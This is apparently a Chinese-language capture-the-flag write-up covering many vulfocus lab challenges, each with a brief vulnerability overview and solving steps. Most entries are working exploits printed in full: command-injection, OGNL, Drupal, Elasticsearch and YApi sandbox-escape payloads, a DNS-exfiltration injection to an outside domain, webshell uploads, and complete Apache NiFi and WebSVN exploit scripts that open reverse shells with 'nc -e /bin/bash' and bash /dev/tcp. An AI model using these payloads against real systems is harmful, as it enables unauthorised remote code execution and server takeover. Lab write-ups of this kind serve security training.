比赛很棒!奖励很好!下次还来!

初级

中级

vulfocus/071

vulfocus/CVE-2017-4971_Spring Web Flow 远程代码执行(CVE-2017-4971)

vulfocus/070

漏洞概述

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息。2021年02月24日,npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞CVE-2021-21315,攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令,最终获取服务器最高权限。

解题思路

通过Wappalyzer浏览器插件发现该页面使用了nodejs,于是乎试了Node.js命令注入漏洞(CVE-2021-21315)

image-20220111202641737

打开dns平台,获取一个子域名

image-20220111202926841

之后插入poc

1
http://106.75.119.109:32470/api/getServices?name[]=$(ping%20`ls%20/tmp`.f01e33dd.dns.1433.eu.org.)

image-20220111202950526

dns平台成功获取到flag

image-20220111203030340

vulfocus/035

fastjson

vulfocus/036

fastjson

vulfocus/024

vulfocus/CVE-2017-8046_Spring Data REST PATCH 请求代码执行漏洞(CVE-2017-8046)

vulfocus/039

atlassian_crowd cve_2019_11580

POC:jas502n/CVE-2019-11580: CVE-2019-11580 Atlassian Crowd and Crowd Data Center RCE

vulfocus/027

漏洞概述

Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于Redis 4.x/5.x的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so),在Redis中创建一个用于执行系统命令的函数。

Redis post-exploitation

解题思路

看到靶场开启的端口是 6379 ,大致可以判断这应该是一个 redis 的漏洞(cnvd_2019_21763)

exploit for Redis 4.x/5.x RCE:Ridter/redis-rce: Redis 4.x/5.x RCE (github.com)

上面的这个项目中缺少了个外部拓展的 .so 的文件,需要在这个项目中下载 exp.so 模块放进去

n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

1
python3 redis-rce.py -r 靶场地址 -p 靶场端口 -L vps地址 -P vps端口 -f exp.so

image-20220111155052190

vulfocus/017

漏洞概述

API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

解题思路

访问3000端口后,可以看到是YAPI的平台,可以想到应该是yapi的远程代码执行的漏洞

注册用户->添加项目->创建项目->添加接口->提交->高级mock->选择脚本,然后开启

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync("ls /tmp").toString()

保存之后->预览->点击mock地址

img

img

vulfocus/021

漏洞概述

Apache Tomcat 漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件

解题思路

访问 8080 端口后,是tomcat的默认页面,但是没有开启 8009 端口,猜测应该不是幽灵猫,再尝试了另外几种之后发现了是Tomcat 任意写入文件漏洞(CVE-2017-12615)

img

Apache Tomcat/8.5.19

img

Put任意写文件漏洞,写jsp马上去

img

vulfocus/022

漏洞概述

CVE-2019-0230漏洞是一个Object-Graph Navigation Language (OGNL)强制两次评估的漏洞,当Struts尝试对tag属相中的原始用户输入进行评估时会触发该漏洞。攻击者可以通过注入恶意OGNL表达式到OGNL表达式中使用的属性中来利用该漏洞。攻击者利用该漏洞可以实现远程代码执行。

解题思路

访问页面之后出现的是S2-059 Demo,直接掏poc打

github找poc测试

https://github.com/ramoncjs3/CVE-2019-0230/blob/master/poc.txt

poc:

1
skillName=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20%2Ftmp').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

img

vulfocus/018

漏洞概述

Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即以执行任意系统命令。

解题思路

访问页面之后是webmin的页面,尝试了下root/root能直接登录进去,猜测是Webmin 远程命令执行漏洞(CVE-2019-15107)

在session_login.cgi的页面发个包修改一下就可以了

1
2
3
POST /password_change.cgi HTTP/1.1

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2

img

vulfocus/030

漏洞概述

Maccms是一套跨平台的基于PHP和MySQL快速建站系统。 Maccms 8.x版本中存在安全漏洞。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。

解题思路

访问页面之后看到是苹果cms8.x,苹果cms8.x有个命令执行的漏洞,直接拿poc打

眉间雪之maccms8.x版RCE代码审计

Maccms8.x 远程命令执行漏洞分析)

poc

1
2
3
index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}

POST:a=phpinfo()

img

vulfocus/026

漏洞概述

海洋CMS一套程序自适应电脑、手机、平板、APP多个终端入口。 SeaCMS v10.1存在命令执行漏洞,在w1aqhp/admin_ip.php下第五行使用set参数,对用户输入没有进行任何处理,直接写入文件。攻击者可利用该漏洞执行恶意代码,获取服务器权限。(CNVD-2020-22721)

解题思路

可以在页面中找到海洋cms页面的关键字,访问/manager/login.php使用admin/admin能直接登入后台

访问/manager/login.php使用admin/admin登入后台

image-20220111180000080

访问后台IP安全设置网页, burp进行抓包,后面拼接一句话命名

image-20220111180455676

访问后台IP安全设置页面,连接一句话执行命令获得flag

1
2
3
http://106.75.119.109:26813/manager/admin_ip.php

POST:pwd=system('ls /tmp');

image-20220111181337562

vulfocus/032

漏洞概述

JunAMS是一款以ThinkPHP为框架的开源内容管理系统。 JunAMS内容管理系统存在文件上传漏洞,攻击者可利用该漏洞上传webshell,获取服务器权限。

解题思路

访问页面之后看到是JunAMS,尝试访问admin.php,使用admin/admin进入了后台,JunAMS有个文件上传漏洞,直接拿poc打

junams 文件上传 (CNVD-2020-24741)复现

用admin/admin进到后台admin.php 本地建一个html 内容如下

1
2
3
4
<form enctype="multipart/form-data" action="http://106.75.119.109:45984/admin.php/common/add_images.html" method="post">  
<input type="file" name="file" size="50"><br>  
<input type="submit" value="Upload">  
</form>

然后用burp上传一句话 image-20220111170948214

image-20220111170952389

vulfocus/020

漏洞概述

Typesetter CMS 内容管理系统是Php源码频道下深受用户喜爱的软件。 Typesetter CMS 存在代码问题漏洞,该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。cve_2020_25790

解题思路

访问页面之后看到是Typesetter,使用admin/admin登入后台后,判断是个文件上传漏洞

admin/admin 进到后台之后,点击已上传的档案->上传1.zip,然后解压1.php(一句话)

img

点击一句话获得url,之后一句话拿flag

img

vulfocus/040

漏洞概述

Apache Zeppelin是一款基于Web的NoteBook,支持交互式数据分析。使用Zeppelin,可以使用丰富的预构建语言后端(或解释器)制作精美的数据驱动,交互式和协作文档 Apache Zeppelin 存在未授权的用户访问命令执行接口,导致了任意用户都可以执行恶意命令获取服务器权限。cnvd_2019_33156

解题思路

访问页面之后看到Welcome to Zeppelin!,点击Create new note后可以创建脚本,判断是Zeppelin未授权访问

点击Create new note 创建一个sh的脚本

img

在标题处输入ls /tmp后点击执行

img

vulfocus/041

漏洞概述

Apache NiFi 是一个易于使用、功能强大而且可靠的数据处理和分发系统。Apache NiFi 是为数据流设计。它支持高度可配置的指示图的数据路由、转换和系统中介逻辑

解题思路

看到nifi的页面,猜测是apache 的 nifi ,百度了下有个 Apache NiFi API远程执行代码漏洞的漏洞

访问页面看到了是个NiFi

image-20220111183021729

gayhub找了个poc直接打

imjdl/Apache-NiFi-Api-RCE (github.com)

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import sys
import json
import requests as req


class Exp:
    def __init__(self, url):
        self.url = url

    def check_is_vul(self):
        url = self.url + "/nifi-api/access/config"
        try:
            res = req.get(url=url, verify=False)
            data = res.json()
            return not data["config"]["supportsLogin"]
        except Exception as e:
            pass
        return False

    def clean_up(self, p_id):
        url = self.url + "/nifi-api/processors/" + p_id
        data = {'revision': {'clientId': 'x', 'version': 1}, 'state': 'STOPPED'}
        req.put(url=url + "/run-status", data=json.dumps(data), verify=False)
        req.delete(url + "/threads", verify=False)

    def exploit(self, cmd):
        g_id = self.fetch_process_group()
        if g_id:
            p_id = self.create_process(g_id)
            if p_id:
                self.run_cmd(p_id=p_id, cmd=cmd)
                self.clean_up(p_id=p_id)

    def run_cmd(self, p_id, cmd):
        url = self.url + "/nifi-api/processors/" + p_id
        cmd = cmd.split(" ")
        data = {
            'component': {
                'config': {
                    'autoTerminatedRelationships': ['success'],
                    'properties': {
                        'Command': cmd[0],
                        'Command Arguments': " ".join(cmd[1:]),
                    },
                    'schedulingPeriod': '3600 sec'
                },
                'id': p_id,
                'state': 'RUNNING'
            },
            'revision': {'clientId': 'x', 'version': 1}
        }
        print(data)
        headers = {
            "Content-Type": "application/json",
        }
        res = req.put(url=url, data=json.dumps(data), headers=headers, verify=False)
        return res.json()

    def fetch_process_group(self):
        url = self.url + "/nifi-api/process-groups/root"
        try:
            res = req.get(url=url, verify=False)
            data = res.json()["id"]
            return data
        except Exception as e:
            pass
        return 0

    def create_process(self, process_group_id):
        url = self.url + "/nifi-api/process-groups/" + process_group_id + "/processors"
        data = {
            'component': {
                'type': 'org.apache.nifi.processors.standard.ExecuteProcess'
            },
            'revision': {
                'version': 0
            }
        }
        headers = {
            "Content-Type": "application/json",
        }
        try:
            res = req.post(url=url, data=json.dumps(data), headers=headers, verify=False)
            return res.json()["id"]
        except Exception as e:
            pass
        return 0


if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("rce.py url cmd")
    else:
        url = sys.argv[1]  # http://106.75.119.109:36958
        cmd = sys.argv[2]  # nc -e /bin/bash 192.168.1.129 1234
        e = Exp(url)
        e.exploit(cmd)

vps上监听

1
nc -lv 21000

执行脚本

1
python Apache-NiFi-Api-RCE.py http://106.75.119.109:36958 "nc -e /bin/bash vps vps端口"

image-20220111185400585

vulfocus/019

解题思路

同vulfocus/018和vulfocus/045一样

在session_login.cgi的页面发个包修改一下就可以了

1
2
3
POST /password_change.cgi HTTP/1.1

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2

image-20220113181403830

vulfocus/031

漏洞概述

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。 Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

解题思路

访问页面之后看到是Laravel的界面,尝试了cve-2017-16894和cve-2021-3129后,发现是cve-2021-3129远程代码执行

Laravel Debug mode RCE(CVE-2021-3129)分析复现 - 先知社区

详细的exp使用教程:SNCKER/CVE-2021-3129: Laravel debug rce

git clone https://github.com/ambionics/phpggc.git(放在上边CVE的目录下)

exploit.py脚本的mian处修改地址和要执行的命令

1
2
3

def main():
    Exp("http://106.75.119.109:30089", "ls /tmp")

image-20220111173128739

vulfocus/025

漏洞概述

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。 Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

解题思路

开启靶场点击 login 后,看到页面有个非常显眼的 Remember Me ,直接掏出 shiro 的工具一把梭了

点击login后到这个页面

img

Shiro框架利用

j1anFen/shiro_attack: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)

SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)修复原版中NoCC的问题

img

高级

vulfocus/038

漏洞概述

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成 该漏洞的产生的根本原因在于Drupal对表单的渲染上,攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码,最后完全控制被攻击的网站。Drupal 8 – (CVE-2018-7600)远程代码执行

解题思路

访问地址是Drupal的页面,Wappalyzer浏览器插件识别到是Drupal8的版本,so…直接使用poc直接打

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 106.75.119.109:35924
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 115
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=ls -l /tmp

image-20220113202614533

vulfocus/067

Java RMI Registry 反序列化漏洞

vulfocus/080

vulfocus/077

漏洞概述

Nostromo nhttpd是一款开源的Web服务器。 Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。

解题思路

打开页面能够看见nostromo 1.9.6

Nostromo httpd 在版本<= 1.9.6中有个rce的漏洞,直接拿exp打

exp:jas502n/CVE-2019-16278:目录横向到远程执行代码

image-20220113170351027

vulfocus/076

同vulfocus/038都是CVE-2018-7600

vulfocus/079

vulfocus/075

漏洞概述

Websvn是一个应用软件。一个在线Subversion存储库浏览器,WebSVN 2.6.1之前版本存在安全漏洞,其search.php?search= 参数下过滤不严谨导致RCE。

解题思路

进入页面后,在页面底下可以看到

Powered by WebSVN 2.6.0 和 Apache Subversion 1.14.1

在WebSVN < 2.6.1中有个rce的漏洞

详细分析及poc:漏洞预警:CVE-2021-32305 WebSVN 2.6.0 RCE_土豆.exe的博客

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

import requests
import argparse
from urllib.parse import quote_plus
 
PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/vps地址/vps端口 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'
 
parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")
 
args = parser.parse_args()
 
if args.target.startswith("http://") or args.target.startswith("https://"):
  target = args.target
else:
  print("[!] Target should start with either http:// or https://")
  exit()
 
requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))
 
print("[*] Request send. Did you get what you wanted?")

执行python脚本后,vps上获得shell

image-20220113172005455

vulfocus/058

漏洞概述

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。 ElasticSearch 1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。(CVE-2014-3120远程代码执行)

解题思路

启动环境后,可以看到版本为1.1.1,在Elasticsearch < 1.2版本之前支持动态脚本。(CVE-2014-3120)远程代码执行

向Elasticsearch中添加一条数据

1
2
3
4
5
POST /website/blog/

{
  "name": "test"
}

image-20220113173845286

然后发送payload,执行任意命令。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
POST /_search?pretty
    
{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

image-20220113180216876

vulfocus/057

漏洞概述

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞既是一个沙盒绕过,也是一个Goovy代码执行漏洞。

解题思路

启动环境后,可以看到版本为1.4.2,在Elasticsearch < 1.3.8 && 1.4.x ~ 1.4.3版本之前默认仍然支持直接执行动态语言.

向Elasticsearch中添加一条数据

1
2
3
4
5
POST /website/blog/

{
  "name": "test"
}

image-20220113175744400

然后发送payload,执行任意命令。

1
2
3
POST /_search?pretty

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls /tmp\").getText()"}}}

image-20220113175935558

vulfocus/059

vulfocus/CVE-2017-12636.md at master · fofapro/vulfocus (github.com)

vulfocus/049

vulfocus/050

vulfocus/046

vulfocus/044

解题思路

点开页面后是一个Webmin的界面,使用root\root登入

img

在Others处有个Command Shell,点进去之后可以执行任意命令

image-20220113180701428

vulfocus/043

vulfocus/053

vulfocus/045

解题思路

同vulfocus/018和vulfocus/019一样

在session_login.cgi的页面发个包修改一下就可以了

1
2
3
POST /password_change.cgi HTTP/1.1

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2

image-20220113181422782

vulfocus/048

漏洞概述

phpok是一套采用PHP+MySQL开发的企业网站系统,其4.8.338及4.9.015版本存在任意文件上传漏洞,攻击者可利用漏洞上传任意文件,获取网站权限。

解题思路

在页面最底下有提示这个网站使用的是phpok , 通过搜索引擎得知有个任意文件上传的漏洞(CVE-2018-12491)

访问admin.php后台界面,用admin/admin登入

功能菜单 -> 工具 -> 附件分类管理

img

点击编辑,然后添加支持php

img

在资源管理 -> 添加资源 -> 上传一句话

img

拿flag

img

vulfocus/052

漏洞概述

Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。 Jupyter Notebook可直接使用命令行执行任意命令。

解题思路

访问页面时一个Jupyter Notebook的页面

点击 New -> Terminal

image-20220113182728918

直接执行命令

image-20220113182838706

vulfocus/062